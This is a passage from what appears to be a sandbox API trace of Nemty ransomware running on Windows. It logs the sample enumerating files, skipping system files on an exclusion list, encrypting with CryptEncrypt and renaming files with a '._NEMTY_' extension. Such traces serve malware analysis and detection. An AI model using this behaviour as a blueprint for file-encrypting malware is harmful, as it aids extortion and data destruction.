lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.439] CloseHandle (hObject=0xffffffff) returned 0 [0055.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0055.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0055.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0055.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.439] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png._nemty_kgobjgd_")) returned 0 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2=".") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="..") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="...") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="windows") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="$RECYCLE.BIN") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="rsa") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="NTDETECT.COM") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntldr") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="MSDOS.SYS") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="IO.SYS") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="boot.ini") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="boot.ini") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="AUTOEXEC.BAT") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntuser.dat") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="desktop.ini") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="CONFIG.SYS") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="RECYCLER") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="BOOTSECT.BAK") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootmgr") returned 1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="programdata") returned -1 [0055.440] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="appdata") returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_leftarrow.png", lpUsedDefaultChar=0x0) returned 17 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_leftarrow.png", lpUsedDefaultChar=0x0) returned 17 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_leftarrow.png", lpUsedDefaultChar=0x0) returned 17 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nav_leftarrow.png", lpUsedDefaultChar=0x0) returned 17 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340048 [0055.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0055.441] Sleep (dwMilliseconds=0x5) [0055.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4b37cd0, dwHighDateTime=0x1d561e7)) [0055.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd4b37cd0, dwHighDateTime=0x1d561e7)) [0055.456] GetLastError () returned 0x5 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.456] GetLastError () returned 0x5 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.456] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.456] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.456] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400e0 [0055.456] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400e0, pcchString=0x653e91c | out: pszString="arxR9wIigSCesER2413vjiSA6NgCc6WGyNhyy6OQMj350sKzgnsyQE3r8ONZj135\r\nM+gWW28PK5FEXXQdgE2GiNeKIU8BpPI/W8zq3/nvf7gMJ6ZAUoQJaTEo/L0fNQRS\r\nXXrvl2nymK4txYlIIf6e+7Z/irrn7NKFEHWORSQyuN5BpGfDk0dyhoanKKDKDHlu\r\nXTvYD/cJuAxgOhPeALk0zbsGk/ZgSw31wOscyddcAmClek0pLp1QqcGUlxsbVEW4\r\nlumkzUqJYTVxcxHJE7GJ/wHbBLGkYh0dFs8BBmIhKbnIqu1OW/Ktn/M/KdT3ig4w\r\nTQuoB7uWFrRTHUMIy+lgaQ==\r\n", pcchString=0x653e91c) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340250 [0055.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0055.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400e0 [0055.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403c8 [0055.457] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.457] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.532] WriteFile (in: hFile=0xffffffff, 